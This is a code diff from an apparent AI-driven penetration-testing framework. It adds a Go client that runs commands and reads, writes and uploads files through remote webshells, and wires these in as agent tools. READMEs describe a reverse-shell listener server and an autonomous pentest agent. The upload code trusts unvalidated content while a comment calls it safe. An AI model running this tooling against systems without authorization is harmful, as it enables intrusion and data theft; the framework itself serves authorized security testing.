command = "mv " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
}
case "upload":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload"})
return
}
if len(req.Content) > 512*1024 {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "upload content too large (max 512KB base64)"})
return
}
// base64 仅含 A-Za-z0-9+/=,用单引号包裹安全
command = "echo " + "'" + req.Content + "'" + " | base64 -d > " + h.escapePath(path)
case "upload_chunk":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload_chunk"})
return
}
redir := ">>"
if req.ChunkIndex == 0 {
redir = ">"
}
command = "echo " + "'" + req.Content + "'" + " | base64 -d " + redir + " " + h.escapePath(path)
default:
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "unsupported action: " + req.Action})
return
}
useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET"
cmdParam := strings.TrimSpace(req.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
if useGET {
targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(req.Type, req.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
c.JSON(http.StatusInternalServerError, FileOpResponse{OK: false, Error: err.Error()})
return
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
c.JSON(http.StatusOK, FileOpResponse{OK: false, Error: err.Error()})
return
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
output := string(out)
c.JSON(http.StatusOK, FileOpResponse{
OK: resp.StatusCode == http.StatusOK,
Output: output,
})
}
func (h *WebShellHandler) escapePath(p string) string {
if p == "" {
return "."
}
// 简单转义空格与敏感字符,避免命令注入
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
}
func (h *WebShellHandler) escapeForEcho(s string) string {
// 仅用于 write:base64 写入更安全,这里简单用单引号包裹
return "'" + strings.ReplaceAll(s, "'", "'\"'\"'") + "'"
}
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
if conn == nil {
return "", false, "connection is nil"
}
command = strings.TrimSpace(command)
if command == "" {
return "", false, "command is required"
}
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
cmdParam := strings.TrimSpace(conn.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
var err error
if useGET {
targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", false, err.Error()
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
return "", false, err.Error()
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
return string(out), resp.StatusCode == http.StatusOK, ""
}
// FileOpWithConnection 在指定 WebShell 连接上执行文件操作(供 MCP/Agent 调用),支持 list / read / write
func (h *WebShellHandler) FileOpWithConnection(conn *database.WebShellConnection, action, path, content, targetPath string) (output string, ok bool, errMsg string) {
if conn == nil {
return "", false, "connection is nil"
}
action = strings.ToLower(strings.TrimSpace(action))
shellType := strings.ToLower(strings.TrimSpace(conn.Type))
if shellType == "" {
shellType = "php"
}
var command string
switch action {
case "list":
if path == "" {
path = "."
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(strings.TrimSpace(path))
} else {
command = "ls -la " + h.escapePath(strings.TrimSpace(path))
}
case "read":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for read"
}
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(path)
} else {
command = "cat " + h.escapePath(path)
}
case "write":
path = strings.TrimSpace(path)
if path == "" {
return "", false, "path is required for write"
}
command = "echo " + h.escapeForEcho(content) + " > " + h.escapePath(path)
default:
return "", false, "unsupported action: " + action + " (supported: list, read, write)"
}
useGET := strings.ToUpper(strings.TrimSpace(conn.Method)) == "GET"
cmdParam := strings.TrimSpace(conn.CmdParam)
if cmdParam == "" {
cmdParam = "cmd"
}
var httpReq *http.Request
var err error
if useGET {
targetURL := h.buildExecURL(conn.URL, conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil)
} else {
body := h.buildExecBody(conn.Type, conn.Password, cmdParam, command)
httpReq, err = http.NewRequest(http.MethodPost, conn.URL, bytes.NewReader(body))
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", false, err.Error()
}
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
resp, err := h.client.Do(httpReq)
if err != nil {
return "", false, err.Error()
}
defer resp.Body.Close()
out, _ := io.ReadAll(resp.Body)
return string(out), resp.StatusCode == http.StatusOK, ""
}
+15 -1
View File
@@ -13,6 +13,12 @@ const (
// Skills工具
ToolListSkills = "list_skills"
ToolReadSkill = "read_skill"
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
ToolWebshellExec = "webshell_exec"
ToolWebshellFileList = "webshell_file_list"
ToolWebshellFileRead = "webshell_file_read"
ToolWebshellFileWrite = "webshell_file_write"
)
// IsBuiltinTool 检查工具名称是否是内置工具
@@ -22,7 +28,11 @@ func IsBuiltinTool(toolName string) bool {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill:
ToolReadSkill,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
ToolWebshellFileWrite:
return true
default:
return false
@@ -37,5 +47,9 @@ func GetAllBuiltinTools() []string {
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
ToolWebshellFileWrite,
}
}
+340
View File
@@ -1,6 +1,7 @@
package openai
import (
"bufio"
"bytes"
"context"
"encoding/json"
@@ -142,3 +143,342 @@ func (c *Client) ChatCompletion(ctx context.Context, payload interface{}, out in
return nil
}
// ChatCompletionStream 调用 /chat/completions 的流式模式(stream=true),并在每个 delta 到达时回调 onDelta。
// 返回最终拼接的 content(只拼 content delta;工具调用 delta 未做处理)。
func (c *Client) ChatCompletionStream(ctx context.Context, payload interface{}, onDelta func(delta string) error) (string, error) {
if c == nil {
return "", fmt.Errorf("openai client is not initialized")
}
if c.config == nil {
return "", fmt.Errorf("openai config is nil")
}
if strings.TrimSpace(c.config.APIKey) == "" {
return "", fmt.Errorf("openai api key is empty")
}
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
if baseURL == "" {
baseURL = "https://api.openai.com/v1"
}
body, err := json.Marshal(payload)
if err != nil {
return "", fmt.Errorf("marshal openai payload: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
if err != nil {
return "", fmt.Errorf("build openai request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
requestStart := time.Now()
resp, err := c.httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("call openai api: %w", err)
}
defer resp.Body.Close()
// 非200:读完 body 返回
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(resp.Body)
return "", &APIError{
StatusCode: resp.StatusCode,
Body: string(respBody),
}
}
type streamDelta struct {
// OpenAI 兼容流式通常使用 content;但部分兼容实现可能用 text。
Content string `json:"content,omitempty"`
Text string `json:"text,omitempty"`
}
type streamChoice struct {
Delta streamDelta `json:"delta"`
FinishReason *string `json:"finish_reason,omitempty"`
}
type streamResponse struct {
ID string `json:"id,omitempty"`
Choices []streamChoice `json:"choices"`
Error *struct {
Message string `json:"message"`
Type string `json:"type"`
} `json:"error,omitempty"`
}
reader := bufio.NewReader(resp.Body)
var full strings.Builder
// 典型 SSE 结构:
// data: {...}\n\n
// data: [DONE]\n\n
for {
line, readErr := reader.ReadString('\n')
if readErr != nil {
if readErr == io.EOF {
break
}
return full.String(), fmt.Errorf("read openai stream: %w", readErr)
}
trimmed := strings.TrimSpace(line)
if trimmed == "" {
continue
}
if !strings.HasPrefix(trimmed, "data:") {
continue
}
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
if dataStr == "[DONE]" {
break
}
var chunk streamResponse
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
// 解析失败跳过(兼容各种兼容层的差异)
continue
}
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
return full.String(), fmt.Errorf("openai stream error: %s", chunk.Error.Message)
}
if len(chunk.Choices) == 0 {
continue
}
delta := chunk.Choices[0].Delta.Content
if delta == "" {
delta = chunk.Choices[0].Delta.Text
}
if delta == "" {
continue
}
full.WriteString(delta)
if onDelta != nil {
if err := onDelta(delta); err != nil {
return full.String(), err
}
}
}
c.logger.Debug("received OpenAI stream completion",
zap.Duration("duration", time.Since(requestStart)),
zap.Int("contentLen", full.Len()),
)
return full.String(), nil
}
// StreamToolCall 流式工具调用的累积结果(arguments 以字符串形式拼接,留给上层再解析为 JSON)。
type StreamToolCall struct {
Index int
ID string
Type string
FunctionName string
FunctionArgsStr string
}
// ChatCompletionStreamWithToolCalls 流式模式:同时把 content delta 实时回调,并在结束后返回 tool_calls 和 finish_reason。
func (c *Client) ChatCompletionStreamWithToolCalls(
ctx context.Context,
payload interface{},
onContentDelta func(delta string) error,
) (string, []StreamToolCall, string, error) {
if c == nil {
return "", nil, "", fmt.Errorf("openai client is not initialized")
}
if c.config == nil {
return "", nil, "", fmt.Errorf("openai config is nil")
}
if strings.TrimSpace(c.config.APIKey) == "" {
return "", nil, "", fmt.Errorf("openai api key is empty")
}
baseURL := strings.TrimSuffix(c.config.BaseURL, "/")
if baseURL == "" {
baseURL = "https://api.openai.com/v1"
}
body, err := json.Marshal(payload)
if err != nil {
return "", nil, "", fmt.Errorf("marshal openai payload: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodPost, baseURL+"/chat/completions", bytes.NewReader(body))
if err != nil {
return "", nil, "", fmt.Errorf("build openai request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+c.config.APIKey)
requestStart := time.Now()
resp, err := c.httpClient.Do(req)
if err != nil {
return "", nil, "", fmt.Errorf("call openai api: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(resp.Body)
return "", nil, "", &APIError{
StatusCode: resp.StatusCode,
Body: string(respBody),
}
}
// delta tool_calls 的增量结构
type toolCallFunctionDelta struct {
Name string `json:"name,omitempty"`
Arguments string `json:"arguments,omitempty"`
}
type toolCallDelta struct {
Index int `json:"index,omitempty"`
ID string `json:"id,omitempty"`
Type string `json:"type,omitempty"`
Function toolCallFunctionDelta `json:"function,omitempty"`
}
type streamDelta2 struct {
Content string `json:"content,omitempty"`
Text string `json:"text,omitempty"`
ToolCalls []toolCallDelta `json:"tool_calls,omitempty"`
}
type streamChoice2 struct {
Delta streamDelta2 `json:"delta"`
FinishReason *string `json:"finish_reason,omitempty"`
}
type streamResponse2 struct {
Choices []streamChoice2 `json:"choices"`
Error *struct {
Message string `json:"message"`
Type string `json:"type"`
} `json:"error,omitempty"`
}
type toolCallAccum struct {
id string
typ string
name string
args strings.Builder
}
toolCallAccums := make(map[int]*toolCallAccum)
reader := bufio.NewReader(resp.Body)
var full strings.Builder
finishReason := ""
for {
line, readErr := reader.ReadString('\n')
if readErr != nil {
if readErr == io.EOF {
break
}
return full.String(), nil, finishReason, fmt.Errorf("read openai stream: %w", readErr)
}
trimmed := strings.TrimSpace(line)
if trimmed == "" {
continue
}
if !strings.HasPrefix(trimmed, "data:") {
continue
}
dataStr := strings.TrimSpace(strings.TrimPrefix(trimmed, "data:"))
if dataStr == "[DONE]" {
break
}
var chunk streamResponse2
if err := json.Unmarshal([]byte(dataStr), &chunk); err != nil {
// 兼容:解析失败跳过
continue
}
if chunk.Error != nil && strings.TrimSpace(chunk.Error.Message) != "" {
return full.String(), nil, finishReason, fmt.Errorf("openai stream error: %s", chunk.Error.Message)
}
if len(chunk.Choices) == 0 {
continue
}
choice := chunk.Choices[0]
if choice.FinishReason != nil && strings.TrimSpace(*choice.FinishReason) != "" {
finishReason = strings.TrimSpace(*choice.FinishReason)
}
delta := choice.Delta
content := delta.Content
if content == "" {
content = delta.Text
}
if content != "" {
full.WriteString(content)
if onContentDelta != nil {
if err := onContentDelta(content); err != nil {
return full.String(), nil, finishReason, err
}
}
}
if len(delta.ToolCalls) > 0 {
for _, tc := range delta.ToolCalls {
acc, ok := toolCallAccums[tc.Index]
if !ok {
acc = &toolCallAccum{}
toolCallAccums[tc.Index] = acc
}
if tc.ID != "" {
acc.id = tc.ID
}
if tc.Type != "" {
acc.typ = tc.Type
}
if tc.Function.Name != "" {
acc.name = tc.Function.Name
}
if tc.Function.Arguments != "" {
acc.args.WriteString(tc.Function.Arguments)
}
}
}
}
// 组装 tool calls
indices := make([]int, 0, len(toolCallAccums))
for idx := range toolCallAccums {
indices = append(indices, idx)
}
// 手写简单排序(避免额外 import)
for i := 0; i < len(indices); i++ {
for j := i + 1; j < len(indices); j++ {
if indices[j] < indices[i] {
indices[i], indices[j] = indices[j], indices[i]
}
}
}
toolCalls := make([]StreamToolCall, 0, len(indices))
for _, idx := range indices {
acc := toolCallAccums[idx]
tc := StreamToolCall{
Index: idx,
ID: acc.id,
Type: acc.typ,
FunctionName: acc.name,
FunctionArgsStr: acc.args.String(),
}
toolCalls = append(toolCalls, tc)
}
c.logger.Debug("received OpenAI stream completion (tool_calls)",
zap.Duration("duration", time.Since(requestStart)),
zap.Int("contentLen", full.Len()),
zap.Int("toolCalls", len(toolCalls)),
zap.String("finishReason", finishReason),
)
if strings.TrimSpace(finishReason) == "" {
finishReason = "stop"
}
return full.String(), toolCalls, finishReason, nil
}
+114 -2
View File
@@ -9,6 +9,8 @@ import (
"os/exec"
"strconv"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
@@ -17,6 +19,15 @@ import (
"go.uber.org/zap"
)
// ToolOutputCallback 用于在工具执行过程中把 stdout/stderr 增量推给上层(SSE)。
// 通过 context 传递,避免修改 MCP ToolHandler 签名导致的“写死工具”问题。
type ToolOutputCallback func(chunk string)
type toolOutputCallbackCtxKey struct{}
// ToolOutputCallbackCtxKey 是 context 中的 key,供 Agent 写入回调,Executor 读取并流式回调。
var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
// Executor 安全工具执行器
type Executor struct {
config *config.SecurityConfig
@@ -144,7 +155,16 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
zap.Strings("args", cmdArgs),
)
output, err := cmd.CombinedOutput()
var output string
var err error
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(cmd, cb)
} else {
outputBytes, err2 := cmd.CombinedOutput()
output = string(outputBytes)
err = err2
}
if err != nil {
// 检查退出码是否在允许列表中
exitCode := getExitCode(err)
@@ -931,7 +951,16 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
}
// 非后台命令:等待输出
output, err := cmd.CombinedOutput()
var output string
var err error
// 若上层提供工具输出增量回调,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(cmd, cb)
} else {
outputBytes, err2 := cmd.CombinedOutput()
output = string(outputBytes)
err = err2
}
if err != nil {
e.logger.Error("系统命令执行失败",
zap.String("command", command),
@@ -965,6 +994,78 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
}, nil
}
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
// 保持输出内容完整拼接返回,并用 cb(chunk) 向上层持续推送。
func streamCommandOutput(cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return "", err
}
stderrPipe, err := cmd.StderrPipe()
if err != nil {
_ = stdoutPipe.Close()
return "", err
}
if err := cmd.Start(); err != nil {
_ = stdoutPipe.Close()
_ = stderrPipe.Close()
return "", err
}
chunks := make(chan string, 64)
var wg sync.WaitGroup
readFn := func(r io.Reader) {
defer wg.Done()
br := bufio.NewReader(r)
for {
s, readErr := br.ReadString('\n')
if s != "" {
chunks <- s
}
if readErr != nil {
// EOF 正常结束
return
}
}
}
wg.Add(2)
go readFn(stdoutPipe)
go readFn(stderrPipe)
go func() {
wg.Wait()
close(chunks)
}()
var outBuilder strings.Builder
var deltaBuilder strings.Builder
lastFlush := time.Now()
flush := func() {
if deltaBuilder.Len() == 0 {
return
}
cb(deltaBuilder.String())
deltaBuilder.Reset()
lastFlush = time.Now()
}
for chunk := range chunks {
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
// 简单节流:buffer 大于 2KB 或 200ms 就刷新一次
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
}
flush()
// 等待命令结束,返回最终退出状态
waitErr := cmd.Wait()
return outBuilder.String(), waitErr
}
// executeInternalTool 执行内部工具(不执行外部命令)
func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
// 提取内部工具类型(去掉 "internal:" 前缀)
@@ -1229,6 +1330,17 @@ func (e *Executor) buildInputSchema(toolConfig *config.ToolConfig) map[string]in
"description": param.Description,
}
// JSON Schema/OpenAI 要求 array 类型必须包含 items,否则 API 报 invalid_function_parameters
if openAIType == "array" {
itemType := strings.TrimSpace(param.ItemType)
if itemType == "" {
itemType = "string"
}
prop["items"] = map[string]interface{}{
"type": e.convertToOpenAIType(itemType),
}
}
// 添加默认值
if param.Default != nil {
prop["default"] = param.Default
+49
View File
@@ -0,0 +1,49 @@
# MCP Servers
[中文](README_CN.md)
This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP.
**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates.
## Available servers
| Server | Description |
|--------|-------------|
| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. |
## How to use
These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio.
### CyberStrikeAI
1. Open Web UI → **Settings****External MCP**.
2. Add a new external MCP and fill in the JSON config (see each servers README for the exact config).
3. Save and click **Start**; the tools will appear in conversations.
### Cursor
Add the server to Cursors MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/absolute/path/to/venv/bin/python3",
"args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio.
### VS Code (MCP extension) / Claude Code / other clients
Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each servers README). The client will launch the process and communicate over stdin/stdout. Refer to your clients docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extensions settings).
## Requirements
- Python 3.10+ for Python-based servers.
- Use the projects `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`.
+49
View File
@@ -0,0 +1,49 @@
# MCP 服务
[English](README.md)
本目录存放 **独立 MCPModel Context Protocol)服务**,采用标准 MCP 协议(stdio 或部分服务支持 HTTP/SSE),因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI**Cursor**、**VS Code**(配合 MCP 扩展)、**Claude Code** 等均可接入。
**我们会持续在此新增好用的 MCP 服务**,覆盖安全测试、自动化与集成等场景,敬请关注。
## 已提供服务
| 服务 | 说明 |
|------|------|
| [reverse_shell](reverse_shell/) | 反向 Shell:开启/停止监听、与已连接目标交互执行命令,完整交互流程。 |
## 使用方式
各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command``args` 请使用**绝对路径**。
### CyberStrikeAI
1. 打开 Web 界面 → **设置****外部 MCP**
2. 添加新的外部 MCP,按各服务目录下 README 的说明填写 JSON 配置。
3. 保存后点击 **启动**,对话中即可使用对应工具。
### Cursor
在 Cursor 的 MCP 配置中添加(如 **Settings → Tools & MCP → Add Custom MCP**,或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`)。stdio 示例:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/你的绝对路径/venv/bin/python3",
"args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
将路径替换为实际路径后,Cursor 会启动该进程并通过 stdio 与 MCP 通信。
### VS CodeMCP 扩展)/ Claude Code / 其他客户端
在对应客户端中配置为通过 **stdio** 启动:**command** 填 Python 可执行文件路径,**args** 填脚本路径(详见各服务 README)。配置位置依客户端而定(如 `.mcp.json``~/.claude.json` 或扩展设置),请查阅该客户端的 MCP 说明。
## 依赖说明
- 基于 Python 的服务需 Python 3.10+。
- 建议使用项目自带的 `venv`,例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。
@@ -0,0 +1,142 @@
---
name: find-skills
description: Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
---
# Find Skills
This skill helps you discover and install skills from the open agent skills ecosystem.
## When to Use This Skill
Use this skill when the user:
- Asks "how do I do X" where X might be a common task with an existing skill
- Says "find a skill for X" or "is there a skill for X"
- Asks "can you do X" where X is a specialized capability
- Expresses interest in extending agent capabilities
- Wants to search for tools, templates, or workflows
- Mentions they wish they had help with a specific domain (design, testing, deployment, etc.)
## What is the Skills CLI?
The Skills CLI (`npx skills`) is the package manager for the open agent skills ecosystem. Skills are modular packages that extend agent capabilities with specialized knowledge, workflows, and tools.
**Key commands:**
- `npx skills find [query]` - Search for skills interactively or by keyword
- `npx skills add <package>` - Install a skill from GitHub or other sources
- `npx skills check` - Check for skill updates
- `npx skills update` - Update all installed skills
**Browse skills at:** https://skills.sh/
## How to Help Users Find Skills
### Step 1: Understand What They Need
When a user asks for help with something, identify:
1. The domain (e.g., React, testing, design, deployment)
2. The specific task (e.g., writing tests, creating animations, reviewing PRs)
3. Whether this is a common enough task that a skill likely exists
### Step 2: Check the Leaderboard First
Before running a CLI search, check the [skills.sh leaderboard](https://skills.sh/) to see if a well-known skill already exists for the domain. The leaderboard ranks skills by total installs, surfacing the most popular and battle-tested options.
For example, top skills for web development include:
- `vercel-labs/agent-skills` — React, Next.js, web design (100K+ installs each)
- `anthropics/skills` — Frontend design, document processing (100K+ installs)
### Step 3: Search for Skills
If the leaderboard doesn't cover the user's need, run the find command:
```bash
npx skills find [query]
```
For example:
- User asks "how do I make my React app faster?" → `npx skills find react performance`
- User asks "can you help me with PR reviews?" → `npx skills find pr review`
- User asks "I need to create a changelog" → `npx skills find changelog`
### Step 4: Verify Quality Before Recommending
**Do not recommend a skill based solely on search results.** Always verify:
1. **Install count** — Prefer skills with 1K+ installs. Be cautious with anything under 100.
2. **Source reputation** — Official sources (`vercel-labs`, `anthropics`, `microsoft`) are more trustworthy than unknown authors.
3. **GitHub stars** — Check the source repository. A skill from a repo with <100 stars should be treated with skepticism.
### Step 5: Present Options to the User
When you find relevant skills, present them to the user with:
1. The skill name and what it does
2. The install count and source
3. The install command they can run
4. A link to learn more at skills.sh
Example response:
```
I found a skill that might help! The "react-best-practices" skill provides
React and Next.js performance optimization guidelines from Vercel Engineering.
(185K installs)
To install it:
npx skills add vercel-labs/agent-skills@react-best-practices
Learn more: https://skills.sh/vercel-labs/agent-skills/react-best-practices
```
### Step 6: Offer to Install
If the user wants to proceed, you can install the skill for them:
```bash
npx skills add <owner/repo@skill> -g -y
```
The `-g` flag installs globally (user-level) and `-y` skips confirmation prompts.
## Common Skill Categories
When searching, consider these common categories:
| Category | Example Queries |
| --------------- | ---------------------------------------- |
| Web Development | react, nextjs, typescript, css, tailwind |
| Testing | testing, jest, playwright, e2e |
| DevOps | deploy, docker, kubernetes, ci-cd |
| Documentation | docs, readme, changelog, api-docs |
| Code Quality | review, lint, refactor, best-practices |
| Design | ui, ux, design-system, accessibility |
| Productivity | workflow, automation, git |
## Tips for Effective Searches
1. **Use specific keywords**: "react testing" is better than just "testing"
2. **Try alternative terms**: If "deploy" doesn't work, try "deployment" or "ci-cd"
3. **Check popular sources**: Many skills come from `vercel-labs/agent-skills` or `ComposioHQ/awesome-claude-skills`
## When No Skills Are Found
If no relevant skills exist:
1. Acknowledge that no existing skill was found
2. Offer to help with the task directly using your general capabilities
3. Suggest the user could create their own skill with `npx skills init`
Example:
```
I searched for skills related to "xyz" but didn't find any matches.
I can still help you with this task directly! Would you like me to proceed?
If this is something you do often, you could create your own skill:
npx skills init my-xyz-skill
```
+85
View File
@@ -0,0 +1,85 @@
# Pent Claude Agent MCP
[中文](README_CN.md)
AI-powered **penetration testing engineer** MCP server. CyberStrikeAI can command it to run pentest tasks, analyze vulnerabilities, and perform security diagnostics. The agent runs a Claude-based AI internally and can be configured with its own MCP servers and tools.
## Tools
| Tool | Description |
|------|-------------|
| `pent_claude_run_pentest_task` | Run a penetration testing task. The agent executes independently and returns results. |
| `pent_claude_analyze_vulnerability` | Analyze vulnerability information and provide remediation suggestions. |
| `pent_agent_execute` | Execute a task. The agent chooses appropriate tools and methods. |
| `pent_agent_diagnose` | Diagnose a target (URL, IP, domain) for security assessment. |
| `pent_claude_status` | Get the current status of pent_claude_agent. |
## Requirements
- Python 3.10+
- `mcp`, `claude-agent-sdk`, `pyyaml` (included if using the project venv; otherwise: `pip install mcp claude-agent-sdk pyyaml`)
## Configuration
The agent uses `pent_claude_agent_config.yaml` in this directory by default. You can override via:
- `--config /path/to/config.yaml` when starting the MCP server
- Environment variable `PENT_CLAUDE_AGENT_CONFIG`
Config options (see `pent_claude_agent_config.yaml`):
- `cwd`: Working directory for the agent
- `allowed_tools`: Tools the agent can use (Read, Write, Bash, Grep, Glob, etc.)
- `mcp_servers`: MCP servers the agent can use (e.g. reverse_shell)
- `env`: Environment variables (API keys, etc.)
- `system_prompt`: Role and behavior definition
Path placeholders: `${PROJECT_ROOT}` = CyberStrikeAI root, `${SCRIPT_DIR}` = this script's directory.
## Setup in CyberStrikeAI
1. **Paths**
Example: project root `/path/to/CyberStrikeAI-main`
Script: `/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
2. **Web UI****Settings****External MCP****Add External MCP**. Paste JSON (replace paths with yours):
```json
{
"pent-claude-agent": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": [
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
"--config",
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
],
"description": "Penetration testing engineer: run pentest tasks, analyze vulnerabilities, get status",
"timeout": 300,
"external_mcp_enable": true
}
}
```
- `command`: Prefer the project **venv** Python; or use system `python3`.
- `args`: **Must be absolute path** to `mcp_pent_claude_agent.py`. Add `--config` and config path if needed.
- `timeout`: 300 recommended (pentest tasks can be long).
- Save, then click **Start** for this MCP to use the tools in chat.
3. **Typical workflow**
- CyberStrikeAI calls `pent_claude_run_pentest_task("Scan target 192.168.1.1 for open ports")`.
- pent_claude_agent starts a Claude agent internally, which may use Bash, nmap, etc.
- Results are returned to CyberStrikeAI.
## Run locally (optional)
```bash
# From project root, with venv
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
```
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
## Security
- Use only in authorized, isolated test environments.
- API keys in config should be kept secure; prefer environment variables for production.
@@ -0,0 +1,85 @@
# Pent Claude Agent MCP
[English](README.md)
AI 驱动的**渗透测试工程师** MCP 服务。CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务、分析漏洞、进行安全诊断。Agent 内部使用 Claude Agent SDK,可独立配置 MCP、工具等,作为独立的渗透测试工程师运行。
## 工具说明
| 工具 | 说明 |
|------|------|
| `pent_claude_run_pentest_task` | 执行渗透测试任务,Agent 独立执行并返回结果。 |
| `pent_claude_analyze_vulnerability` | 分析漏洞信息并给出修复建议。 |
| `pent_agent_execute` | 执行指定任务,Agent 自动选择工具和方法。 |
| `pent_agent_diagnose` | 对目标(URL、IP、域名)进行安全诊断。 |
| `pent_claude_status` | 获取 pent_claude_agent 的当前状态。 |
## 依赖
- Python 3.10+
